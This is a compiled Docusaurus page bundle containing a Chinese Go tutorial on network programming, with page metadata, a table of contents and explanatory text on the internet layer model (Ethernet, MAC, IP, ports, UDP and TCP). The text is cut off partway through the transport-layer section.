r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b","description":"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/19.GoLang-\u7f51\u7edc\u7f16\u7a0b.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u7f51\u7edc\u7f16\u7a0b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/19.GoLang-\u7f51\u7edc\u7f16\u7a0b.md","tags":[],"version":"current","sidebarPosition":19,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u5e76\u53d1","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5e76\u53d1"},"next":{"title":"fmt","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt"}}');var l=t(74848),i=t(28453);const o={},c="Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b",d={},s=[{value:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",id:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",level:2},{value:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",id:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",level:3},{value:"\u7269\u7406\u5c42",id:"\u7269\u7406\u5c42",level:3},{value:"\u6570\u636e\u94fe\u8def\u5c42",id:"\u6570\u636e\u94fe\u8def\u5c42",level:3},{value:"\u7f51\u7edc\u5c42",id:"\u7f51\u7edc\u5c42",level:3},{value:"\u4f20\u8f93\u5c42",id:"\u4f20\u8f93\u5c42",level:3},{value:"\u5e94\u7528\u5c42",id:"\u5e94\u7528\u5c42",level:3},{value:"socket\u7f16\u7a0b",id:"socket\u7f16\u7a0b",level:2},{value:"socket\u56fe\u89e3",id:"socket\u56fe\u89e3",level:3},{value:"Go\u8bed\u8a00\u5b9e\u73b0TCP\u901a\u4fe1",id:"go\u8bed\u8a00\u5b9e\u73b0tcp\u901a\u4fe1",level:3},{value:"TCP\u534f\u8bae",id:"tcp\u534f\u8bae",level:4},{value:"TCP\u670d\u52a1\u7aef",id:"tcp\u670d\u52a1\u7aef",level:4},{value:"TCP\u5ba2\u6237\u7aef",id:"tcp\u5ba2\u6237\u7aef",level:4},{value:"TCP\u9ecf\u5305",id:"tcp\u9ecf\u5305",level:3},{value:"\u9ecf\u5305\u793a\u4f8b",id:"\u9ecf\u5305\u793a\u4f8b",level:4},{value:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",id:"\u4e3a\u4ec0\u4e48\u4f1a\u51fa\u73b0\u7c98\u5305",level:4},{value:"\u89e3\u51b3\u529e\u6cd5",id:"\u89e3\u51b3\u529e\u6cd5",level:4},{value:"Go\u8bed\u8a00\u5b9e\u73b0UDP\u901a\u4fe1",id:"go\u8bed\u8a00\u5b9e\u73b0udp\u901a\u4fe1",level:3},{value:"UDP\u534f\u8bae",id:"udp\u534f\u8bae",level:4},{value:"UDP\u670d\u52a1\u7aef",id:"udp\u670d\u52a1\u7aef",level:4},{value:"UDP\u5ba2\u6237\u7aef",id:"udp\u5ba2\u6237\u7aef",level:4}];function a(n){const e={code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",ol:"ol",p:"p",pre:"pre",strong:"strong",...(0,i.R)(),...n.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(e.header,{children:(0,l.jsx)(e.h1,{id:"go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u7f51\u7edc\u7f16\u7a0b"})}),"\n",(0,l.jsx)(e.h2,{id:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd",children:"\u4e92\u8054\u7f51\u534f\u8bae\u4ecb\u7ecd"}),"\n",(0,l.jsx)(e.p,{children:"\u4e92\u8054\u7f51\u7684\u6838\u5fc3\u662f\u4e00\u7cfb\u5217\u534f\u8bae\uff0c\u603b\u79f0\u4e3a\u201d\u4e92\u8054\u7f51\u534f\u8bae\u201d\uff08Internet Protocol Suite\uff09\uff0c\u6b63\u662f\u8fd9\u4e00\u4e9b\u534f\u8bae\u89c4\u5b9a\u4e86\u7535\u8111\u5982\u4f55\u8fde\u63a5\u548c\u7ec4\u7f51\u3002\u6211\u4eec\u7406\u89e3\u4e86\u8fd9\u4e9b\u534f\u8bae\uff0c\u5c31\u7406\u89e3\u4e86\u4e92\u8054\u7f51\u7684\u539f\u7406\u3002\u7531\u4e8e\u8fd9\u4e9b\u534f\u8bae\u592a\u8fc7\u5e9e\u5927\u548c\u590d\u6742\uff0c\u6ca1\u6709\u529e\u6cd5\u5728\u8fd9\u91cc\u4e00\u6982\u800c\u5168\uff0c\u53ea\u80fd\u4ecb\u7ecd\u4e00\u4e0b\u6211\u4eec\u65e5\u5e38\u5f00\u53d1\u4e2d\u63a5\u89e6\u8f83\u591a\u7684\u51e0\u4e2a\u534f\u8bae\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b",children:"\u4e92\u8054\u7f51\u5206\u5c42\u6a21\u578b"}),"\n",(0,l.jsxs)(e.p,{children:["\u4e92\u8054\u7f51\u7684\u903b\u8f91\u5b9e\u73b0\u88ab\u5206\u4e3a\u597d\u51e0\u5c42\u3002\u6bcf\u4e00\u5c42\u90fd\u6709\u81ea\u5df1\u7684\u529f\u80fd\uff0c\u5c31\u50cf\u5efa\u7b51\u7269\u4e00\u6837\uff0c\u6bcf\u4e00\u5c42\u90fd\u9760\u4e0b\u4e00\u5c42\u652f\u6301\u3002\u7528\u6237\u63a5\u89e6\u5230\u7684\u53ea\u662f\u6700\u4e0a\u9762\u7684\u90a3\u4e00\u5c42\uff0c\u6839\u672c\u4e0d\u4f1a\u611f\u89c9\u5230\u4e0b\u9762\u7684\u51e0\u5c42\u3002\u8981\u7406\u89e3\u4e92\u8054\u7f51\u5c31\u9700\u8981\u81ea\u4e0b\u800c\u4e0a\u7406\u89e3\u6bcf\u4e00\u5c42\u7684\u5b9e\u73b0\u7684\u529f\u80fd\u3002",(0,l.jsx)(e.img,{alt:"osi\u4e03\u5c42\u6a21\u578b",src:t(59164).A+"",width:"1632",height:"1124"}),"\u5982\u4e0a\u56fe\u6240\u793a\uff0c\u4e92\u8054\u7f51\u6309\u7167\u4e0d\u540c\u7684\u6a21\u578b\u5212\u5206\u4f1a\u6709\u4e0d\u7528\u7684\u5206\u5c42\uff0c\u4f46\u662f\u4e0d\u8bba\u6309\u7167\u4ec0\u4e48\u6a21\u578b\u53bb\u5212\u5206\uff0c\u8d8a\u5f80\u4e0a\u7684\u5c42\u8d8a\u9760\u8fd1\u7528\u6237\uff0c\u8d8a\u5f80\u4e0b\u7684\u5c42\u8d8a\u9760\u8fd1\u786c\u4ef6\u3002\u5728\u8f6f\u4ef6\u5f00\u53d1\u4e2d\u6211\u4eec\u4f7f\u7528\u6700\u591a\u7684\u662f\u4e0a\u56fe\u4e2d\u5c06\u4e92\u8054\u7f51\u5212\u5206\u4e3a\u4e94\u4e2a\u5206\u5c42\u7684\u6a21\u578b\u3002"]}),"\n",(0,l.jsx)(e.p,{children:"\u63a5\u4e0b\u6765\u6211\u4eec\u4e00\u5c42\u4e00\u5c42\u7684\u81ea\u5e95\u5411\u4e0a\u4ecb\u7ecd\u4e00\u4e0b\u6bcf\u4e00\u5c42\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u7269\u7406\u5c42",children:"\u7269\u7406\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u7684\u7535\u8111\u8981\u4e0e\u5916\u754c\u4e92\u8054\u7f51\u901a\u4fe1\uff0c\u9700\u8981\u5148\u628a\u7535\u8111\u8fde\u63a5\u7f51\u7edc\uff0c\u6211\u4eec\u53ef\u4ee5\u7528\u53cc\u7ede\u7ebf\u3001\u5149\u7ea4\u3001\u65e0\u7ebf\u7535\u6ce2\u7b49\u65b9\u5f0f\u3002\u8fd9\u5c31\u53eb\u505a\u201d\u5b9e\u7269\u7406\u5c42\u201d\uff0c\u5b83\u5c31\u662f\u628a\u7535\u8111\u8fde\u63a5\u8d77\u6765\u7684\u7269\u7406\u624b\u6bb5\u3002\u5b83\u4e3b\u8981\u89c4\u5b9a\u4e86\u7f51\u7edc\u7684\u4e00\u4e9b\u7535\u6c14\u7279\u6027\uff0c\u4f5c\u7528\u662f\u8d1f\u8d23\u4f20\u90010\u548c1\u7684\u7535\u4fe1\u53f7\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u6570\u636e\u94fe\u8def\u5c42",children:"\u6570\u636e\u94fe\u8def\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u5355\u7eaf\u76840\u548c1\u6ca1\u6709\u4efb\u4f55\u610f\u4e49\uff0c\u6240\u4ee5\u6211\u4eec\u4f7f\u7528\u8005\u4f1a\u4e3a\u5176\u8d4b\u4e88\u4e00\u4e9b\u7279\u5b9a\u7684\u542b\u4e49\uff0c\u89c4\u5b9a\u89e3\u8bfb\u7535\u4fe1\u53f7\u7684\u65b9\u5f0f\uff1a\u4f8b\u5982\uff1a\u591a\u5c11\u4e2a\u7535\u4fe1\u53f7\u7b97\u4e00\u7ec4\uff1f\u6bcf\u4e2a\u4fe1\u53f7\u4f4d\u6709\u4f55\u610f\u4e49\uff1f\u8fd9\u5c31\u662f\u201d\u6570\u636e\u94fe\u63a5\u5c42\u201d\u7684\u529f\u80fd\uff0c\u5b83\u5728\u201d\u7269\u7406\u5c42\u201d\u7684\u4e0a\u65b9\uff0c\u786e\u5b9a\u4e86\u7269\u7406\u5c42\u4f20\u8f93\u76840\u548c1\u7684\u5206\u7ec4\u65b9\u5f0f\u53ca\u4ee3\u8868\u7684\u610f\u4e49\u3002\u65e9\u671f\u7684\u65f6\u5019\uff0c\u6bcf\u5bb6\u516c\u53f8\u90fd\u6709\u81ea\u5df1\u7684\u7535\u4fe1\u53f7\u5206\u7ec4\u65b9\u5f0f\u3002\u9010\u6e10\u5730\uff0c\u4e00\u79cd\u53eb\u505a\u201d\u4ee5\u592a\u7f51\u201d\uff08Ethernet\uff09\u7684\u534f\u8bae\uff0c\u5360\u636e\u4e86\u4e3b\u5bfc\u5730\u4f4d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u4ee5\u592a\u7f51\u89c4\u5b9a\uff0c\u4e00\u7ec4\u7535\u4fe1\u53f7\u6784\u6210\u4e00\u4e2a\u6570\u636e\u5305\uff0c\u53eb\u505a\u201d\u5e27\u201d\uff08Frame\uff09\u3002\u6bcf\u4e00\u5e27\u5206\u6210\u4e24\u4e2a\u90e8\u5206\uff1a\u6807\u5934\uff08Head\uff09\u548c\u6570\u636e\uff08Data\uff09\u3002\u5176\u4e2d\u201d\u6807\u5934\u201d\u5305\u542b\u6570\u636e\u5305\u7684\u4e00\u4e9b\u8bf4\u660e\u9879\uff0c\u6bd4\u5982\u53d1\u9001\u8005\u3001\u63a5\u53d7\u8005\u3001\u6570\u636e\u7c7b\u578b\u7b49\u7b49\uff1b\u201d\u6570\u636e\u201d\u5219\u662f\u6570\u636e\u5305\u7684\u5177\u4f53\u5185\u5bb9\u3002\u201d\u6807\u5934\u201d\u7684\u957f\u5ea6\uff0c\u56fa\u5b9a\u4e3a18\u5b57\u8282\u3002\u201d\u6570\u636e\u201d\u7684\u957f\u5ea6\uff0c\u6700\u77ed\u4e3a46\u5b57\u8282\uff0c\u6700\u957f\u4e3a1500\u5b57\u8282\u3002\u56e0\u6b64\uff0c\u6574\u4e2a\u201d\u5e27\u201d\u6700\u77ed\u4e3a64\u5b57\u8282\uff0c\u6700\u957f\u4e3a1518\u5b57\u8282\u3002\u5982\u679c\u6570\u636e\u5f88\u957f\uff0c\u5c31\u5fc5\u987b\u5206\u5272\u6210\u591a\u4e2a\u5e27\u8fdb\u884c\u53d1\u9001\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u90a3\u4e48\uff0c\u53d1\u9001\u8005\u548c\u63a5\u53d7\u8005\u662f\u5982\u4f55\u6807\u8bc6\u5462\uff1f\u4ee5\u592a\u7f51\u89c4\u5b9a\uff0c\u8fde\u5165\u7f51\u7edc\u7684\u6240\u6709\u8bbe\u5907\u90fd\u5fc5\u987b\u5177\u6709\u201d\u7f51\u5361\u201d\u63a5\u53e3\u3002\u6570\u636e\u5305\u5fc5\u987b\u662f\u4ece\u4e00\u5757\u7f51\u5361\uff0c\u4f20\u9001\u5230\u53e6\u4e00\u5757\u7f51\u5361\u3002\u7f51\u5361\u7684\u5730\u5740\uff0c\u5c31\u662f\u6570\u636e\u5305\u7684\u53d1\u9001\u5730\u5740\u548c\u63a5\u6536\u5730\u5740\uff0c\u8fd9\u53eb\u505aMAC\u5730\u5740\u3002\u6bcf\u5757\u7f51\u5361\u51fa\u5382\u7684\u65f6\u5019\uff0c\u90fd\u6709\u4e00\u4e2a\u5168\u4e16\u754c\u72ec\u4e00\u65e0\u4e8c\u7684MAC\u5730\u5740\uff0c\u957f\u5ea6\u662f48\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff0c\u901a\u5e38\u752812\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u8868\u793a\u3002\u524d6\u4e2a\u5341\u516d\u8fdb\u5236\u6570\u662f\u5382\u5546\u7f16\u53f7\uff0c\u540e6\u4e2a\u662f\u8be5\u5382\u5546\u7684\u7f51\u5361\u6d41\u6c34\u53f7\u3002\u6709\u4e86MAC\u5730\u5740\uff0c\u5c31\u53ef\u4ee5\u5b9a\u4f4d\u7f51\u5361\u548c\u6570\u636e\u5305\u7684\u8def\u5f84\u4e86\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u4f1a\u901a\u8fc7ARP\u534f\u8bae\u6765\u83b7\u53d6\u63a5\u53d7\u65b9\u7684MAC\u5730\u5740\uff0c\u6709\u4e86MAC\u5730\u5740\u4e4b\u540e\uff0c\u5982\u4f55\u628a\u6570\u636e\u51c6\u786e\u7684\u53d1\u9001\u7ed9\u63a5\u6536\u65b9\u5462\uff1f\u5176\u5b9e\u8fd9\u91cc\u4ee5\u592a\u7f51\u91c7\u7528\u4e86\u4e00\u79cd\u5f88\u201d\u539f\u59cb\u201d\u7684\u65b9\u5f0f\uff0c\u5b83\u4e0d\u662f\u628a\u6570\u636e\u5305\u51c6\u786e\u9001\u5230\u63a5\u6536\u65b9\uff0c\u800c\u662f\u5411\u672c\u7f51\u7edc\u5185\u6240\u6709\u8ba1\u7b97\u673a\u90fd\u53d1\u9001\uff0c\u8ba9\u6bcf\u53f0\u8ba1\u7b97\u673a\u8bfb\u53d6\u8fd9\u4e2a\u5305\u7684\u201d\u6807\u5934\u201d\uff0c\u627e\u5230\u63a5\u6536\u65b9\u7684MAC\u5730\u5740\uff0c\u7136\u540e\u4e0e\u81ea\u8eab\u7684MAC\u5730\u5740\u76f8\u6bd4\u8f83\uff0c\u5982\u679c\u4e24\u8005\u76f8\u540c\uff0c\u5c31\u63a5\u53d7\u8fd9\u4e2a\u5305\uff0c\u505a\u8fdb\u4e00\u6b65\u5904\u7406\uff0c\u5426\u5219\u5c31\u4e22\u5f03\u8fd9\u4e2a\u5305\u3002\u8fd9\u79cd\u53d1\u9001\u65b9\u5f0f\u5c31\u53eb\u505a\u201d\u5e7f\u64ad\u201d\uff08broadcasting\uff09\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u7f51\u7edc\u5c42",children:"\u7f51\u7edc\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6309\u7167\u4ee5\u592a\u7f51\u534f\u8bae\u7684\u89c4\u5219\u6211\u4eec\u53ef\u4ee5\u4f9d\u9760MAC\u5730\u5740\u6765\u5411\u5916\u53d1\u9001\u6570\u636e\u3002\u7406\u8bba\u4e0a\u4f9d\u9760MAC\u5730\u5740\uff0c\u4f60\u7535\u8111\u7684\u7f51\u5361\u5c31\u53ef\u4ee5\u627e\u5230\u8eab\u5728\u4e16\u754c\u53e6\u4e00\u4e2a\u89d2\u843d\u7684\u67d0\u53f0\u7535\u8111\u7684\u7f51\u5361\u4e86\uff0c\u4f46\u662f\u8fd9\u79cd\u505a\u6cd5\u6709\u4e00\u4e2a\u91cd\u5927\u7f3a\u9677\u5c31\u662f\u4ee5\u592a\u7f51\u91c7\u7528\u5e7f\u64ad\u65b9\u5f0f\u53d1\u9001\u6570\u636e\u5305\uff0c\u6240\u6709\u6210\u5458\u4eba\u624b\u4e00\u201d\u5305\u201d\uff0c\u4e0d\u4ec5\u6548\u7387\u4f4e\uff0c\u800c\u4e14\u53d1\u9001\u7684\u6570\u636e\u53ea\u80fd\u5c40\u9650\u5728\u53d1\u9001\u8005\u6240\u5728\u7684\u5b50\u7f51\u7edc\u3002\u4e5f\u5c31\u662f\u8bf4\u5982\u679c\u4e24\u53f0\u8ba1\u7b97\u673a\u4e0d\u5728\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u5e7f\u64ad\u662f\u4f20\u4e0d\u8fc7\u53bb\u7684\u3002\u8fd9\u79cd\u8bbe\u8ba1\u662f\u5408\u7406\u4e14\u5fc5\u8981\u7684\uff0c\u56e0\u4e3a\u5982\u679c\u4e92\u8054\u7f51\u4e0a\u6bcf\u4e00\u53f0\u8ba1\u7b97\u673a\u90fd\u4f1a\u6536\u5230\u4e92\u8054\u7f51\u4e0a\u6536\u53d1\u7684\u6240\u6709\u6570\u636e\u5305\uff0c\u90a3\u662f\u4e0d\u73b0\u5b9e\u7684\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u56e0\u6b64\uff0c\u5fc5\u987b\u627e\u5230\u4e00\u79cd\u65b9\u6cd5\u533a\u5206\u54ea\u4e9bMAC\u5730\u5740\u5c5e\u4e8e\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u54ea\u4e9b\u4e0d\u662f\u3002\u5982\u679c\u662f\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\uff0c\u5c31\u91c7\u7528\u5e7f\u64ad\u65b9\u5f0f\u53d1\u9001\uff0c\u5426\u5219\u5c31\u91c7\u7528\u201d\u8def\u7531\u201d\u65b9\u5f0f\u53d1\u9001\u3002\u8fd9\u5c31\u5bfc\u81f4\u4e86\u201d\u7f51\u7edc\u5c42\u201d\u7684\u8bde\u751f\u3002\u5b83\u7684\u4f5c\u7528\u662f\u5f15\u8fdb\u4e00\u5957\u65b0\u7684\u5730\u5740\uff0c\u4f7f\u5f97\u6211\u4eec\u80fd\u591f\u533a\u5206\u4e0d\u540c\u7684\u8ba1\u7b97\u673a\u662f\u5426\u5c5e\u4e8e\u540c\u4e00\u4e2a\u5b50\u7f51\u7edc\u3002\u8fd9\u5957\u5730\u5740\u5c31\u53eb\u505a\u201d\u7f51\u7edc\u5730\u5740\u201d\uff0c\u7b80\u79f0\u201d\u7f51\u5740\u201d\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7f51\u7edc\u5c42\u201d\u51fa\u73b0\u4ee5\u540e\uff0c\u6bcf\u53f0\u8ba1\u7b97\u673a\u6709\u4e86\u4e24\u79cd\u5730\u5740\uff0c\u4e00\u79cd\u662fMAC\u5730\u5740\uff0c\u53e6\u4e00\u79cd\u662f\u7f51\u7edc\u5730\u5740\u3002\u4e24\u79cd\u5730\u5740\u4e4b\u95f4\u6ca1\u6709\u4efb\u4f55\u8054\u7cfb\uff0cMAC\u5730\u5740\u662f\u7ed1\u5b9a\u5728\u7f51\u5361\u4e0a\u7684\uff0c\u7f51\u7edc\u5730\u5740\u5219\u662f\u7f51\u7edc\u7ba1\u7406\u5458\u5206\u914d\u7684\u3002\u7f51\u7edc\u5730\u5740\u5e2e\u52a9\u6211\u4eec\u786e\u5b9a\u8ba1\u7b97\u673a\u6240\u5728\u7684\u5b50\u7f51\u7edc\uff0cMAC\u5730\u5740\u5219\u5c06\u6570\u636e\u5305\u9001\u5230\u8be5\u5b50\u7f51\u7edc\u4e2d\u7684\u76ee\u6807\u7f51\u5361\u3002\u56e0\u6b64\uff0c\u4ece\u903b\u8f91\u4e0a\u53ef\u4ee5\u63a8\u65ad\uff0c\u5fc5\u5b9a\u662f\u5148\u5904\u7406\u7f51\u7edc\u5730\u5740\uff0c\u7136\u540e\u518d\u5904\u7406MAC\u5730\u5740\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u89c4\u5b9a\u7f51\u7edc\u5730\u5740\u7684\u534f\u8bae\uff0c\u53eb\u505aIP\u534f\u8bae\u3002\u5b83\u6240\u5b9a\u4e49\u7684\u5730\u5740\uff0c\u5c31\u88ab\u79f0\u4e3aIP\u5730\u5740\u3002\u76ee\u524d\uff0c\u5e7f\u6cdb\u91c7\u7528\u7684\u662fIP\u534f\u8bae\u7b2c\u56db\u7248\uff0c\u7b80\u79f0IPv4\u3002IPv4\u8fd9\u4e2a\u7248\u672c\u89c4\u5b9a\uff0c\u7f51\u7edc\u5730\u5740\u753132\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u7ec4\u6210\uff0c\u6211\u4eec\u901a\u5e38\u4e60\u60ef\u7528\u5206\u6210\u56db\u6bb5\u7684\u5341\u8fdb\u5236\u6570\u8868\u793aIP\u5730\u5740\uff0c\u4ece0.0.0.0\u4e00\u76f4\u5230255.255.255.255\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6839\u636eIP\u534f\u8bae\u53d1\u9001\u7684\u6570\u636e\uff0c\u5c31\u53eb\u505aIP\u6570\u636e\u5305\u3002IP\u6570\u636e\u5305\u4e5f\u5206\u4e3a\u201d\u6807\u5934\u201d\u548c\u201d\u6570\u636e\u201d\u4e24\u4e2a\u90e8\u5206\uff1a\u201d\u6807\u5934\u201d\u90e8\u5206\u4e3b\u8981\u5305\u62ec\u7248\u672c\u3001\u957f\u5ea6\u3001IP\u5730\u5740\u7b49\u4fe1\u606f\uff0c\u201d\u6570\u636e\u201d\u90e8\u5206\u5219\u662fIP\u6570\u636e\u5305\u7684\u5177\u4f53\u5185\u5bb9\u3002IP\u6570\u636e\u5305\u7684\u201d\u6807\u5934\u201d\u90e8\u5206\u7684\u957f\u5ea6\u4e3a20\u523060\u5b57\u8282\uff0c\u6574\u4e2a\u6570\u636e\u5305\u7684\u603b\u957f\u5ea6\u6700\u5927\u4e3a65535\u5b57\u8282\u3002"}),"\n",(0,l.jsx)(e.h3,{id:"\u4f20\u8f93\u5c42",children:"\u4f20\u8f93\u5c42"}),"\n",(0,l.jsx)(e.p,{children:"\u6709\u4e86MAC\u5730\u5740\u548cIP\u5730\u5740\uff0c\u6211\u4eec\u5df2\u7ecf\u53ef\u4ee5\u5728\u4e92\u8054\u7f51\u4e0a\u4efb\u610f\u4e24\u53f0\u4e3b\u673a\u4e0a\u5efa\u7acb\u901a\u4fe1\u3002\u4f46\u95ee\u9898\u662f\u540c\u4e00\u53f0\u4e3b\u673a\u4e0a\u4f1a\u6709\u8bb8\u591a\u7a0b\u5e8f\u90fd\u9700\u8981\u7528\u7f51\u7edc\u6536\u53d1\u6570\u636e\uff0c\u6bd4\u5982QQ\u548c\u6d4f\u89c8\u5668\u8fd9\u4e24\u4e2a\u7a0b\u5e8f\u90fd\u9700\u8981\u8fde\u63a5\u4e92\u8054\u7f51\u5e76\u6536\u53d1\u6570\u636e\uff0c\u6211\u4eec\u5982\u4f55\u533a\u5206\u67d0\u4e2a\u6570\u636e\u5305\u5230\u5e95\u662f\u5f52\u54ea\u4e2a\u7a0b\u5e8f\u7684\u5462\uff1f\u4e5f\u5c31\u662f\u8bf4\uff0c\u6211\u4eec\u8fd8\u9700\u8981\u4e00\u4e2a\u53c2\u6570\uff0c\u8868\u793a\u8fd9\u4e2a\u6570\u636e\u5305\u5230\u5e95\u4f9b\u54ea\u4e2a\u7a0b\u5e8f\uff08\u8fdb\u7a0b\uff09\u4f7f\u7528\u3002\u8fd9\u4e2a\u53c2\u6570\u5c31\u53eb\u505a\u201d\u7aef\u53e3\u201d\uff08port\uff09\uff0c\u5b83\u5176\u5b9e\u662f\u6bcf\u4e00\u4e2a\u4f7f\u7528\u7f51\u5361\u7684\u7a0b\u5e8f\u7684\u7f16\u53f7\u3002\u6bcf\u4e2a\u6570\u636e\u5305\u90fd\u53d1\u5230\u4e3b\u673a\u7684\u7279\u5b9a\u7aef\u53e3\uff0c\u6240\u4ee5\u4e0d\u540c\u7684\u7a0b\u5e8f\u5c31\u80fd\u53d6\u5230\u81ea\u5df1\u6240\u9700\u8981\u7684\u6570\u636e\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u201c\u7aef\u53e3\u201d\u662f0\u523065535\u4e4b\u95f4\u7684\u4e00\u4e2a\u6574\u6570\uff0c\u6b63\u597d16\u4e2a\u4e8c\u8fdb\u5236\u4f4d\u30020\u52301023\u7684\u7aef\u53e3\u88ab\u7cfb\u7edf\u5360\u7528\uff0c\u7528\u6237\u53ea\u80fd\u9009\u7528\u5927\u4e8e1023\u7684\u7aef\u53e3\u3002\u6709\u4e86IP\u548c\u7aef\u53e3\u6211\u4eec\u5c31\u80fd\u5b9e\u73b0\u552f\u4e00\u786e\u5b9a\u4e92\u8054\u7f51\u4e0a\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u8fdb\u800c\u5b9e\u73b0\u7f51\u7edc\u95f4\u7684\u7a0b\u5e8f\u901a\u4fe1\u3002"}),"\n",(0,l.jsx)(e.p,{children:"\u6211\u4eec\u5fc5\u987b\u5728\u6570\u636e\u5305\u4e2d\u52a0\u5165\u7aef\u53e3\u4fe1\u606f\uff0c\u8fd9\u5c31\u9700\u8981\u65b0\u7684\u534f\u8bae\u3002\u6700\u7b80\u5355\u7684\u5b9e\u73b0\u53eb\u505aUDP\u534f\u8bae\uff0c\u5b83\u7684\u683c\u5f0f\u51e0\u4e4e\u5c31\u662f\u5728\u6570\u636e\u524d\u9762\uff0c\u52a0\u4e0a\u7aef\u53e3\u53f7\u3002UDP\u6570\u636e\u5305\uff0c\u4e5f\u662f\u7531\u201d\u6807\u5934\u201d\u548c\u201d\u6570\u636e\u201d\u4e24\u90e8\u5206\u7ec4\u6210\uff1a\u201d\u6807\u5934\u201d\u90e8\u5206\u4e3b\u8981\u5b9a\u4e49\u4e86\u53d1\u51fa\u7aef\u53e3\u548c\u63a5\u6536\u7aef\u53e3\uff0c\u201d\u6570\u636e\u201d\u90e8\u5206\u5c31\u662f\u5177\u4f53\u7684\u5185\u5bb9\u3002UDP\u6570\u636e\u5305\u975e\u5e38\u7b80\u5355\uff0c\u201d\u6807\u5934\u201d\u90e8\u5206\u4e00\u5171\u53ea\u67098\u4e2a\u5b57\u8282\uff0c\u603b\u957f\u5ea6\u4e0d\u8d85\u8fc765,535\u5b57\u8282\uff0c\u6b63\u597d\u653e\u8fdb\u4e00\u4e2aIP\u6570\u636e\u5305\u3002"}),"\n",(0,l.jsx)(e.p,{children:"UDP\u534f\u8bae\u7684\u4f18\u70b9\u662f\u6bd4\u8f83\u7b80\u5355\uff0c\u5bb9\u6613\u5b9e\u73b0\uff0c\u4f46\u662f\u7f3a\u70b9\u662f\u53ef\u9760\u6027\u8f83\u5dee\uff0c\u4e00\u65e6\u6570\u636e\u5305\u53d1\u51fa\uff0c\u65e0\u6cd5\u77e5\u9053\u5bf9\u65b9\u662f\u5426\u6536\u5230\u3002\u4e3a\u4e86\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u63d0\u9ad8\u7f51\u7edc\u53ef\u9760\u6027\uff0cTCP\u534f\u8bae\u5c31\u8bde\u751f\u4e86\u3002TCP\u534f\u8bae\u80fd\u591f\u786e\u4fdd\u6570\u636e\u4e0d\u4f1a\u9057\u5931\u3002\u5b83\u7684\u7f3a\u70b9\u662f\u8fc7\u7a0b\u590d\u6742\u3001\u5b9e\u73b0\u56f0\u96be\u3001\u6d88\u8017\u8f83\u591a\u7684\u8d44\u6e90\u3002TCP\u6570\u636e\u5305\u6ca1\u6709\u957f\u5ea6\u9650\u5236\uff0c\u7406\u8bba\u4e0a\u53ef\u4ee5\u65e0\u9650\u957f\uff0c\u4f46\u662f\u4e3a\u4e86\u4fdd\u8bc1\u7f51\u7edc\u7684\u6548\u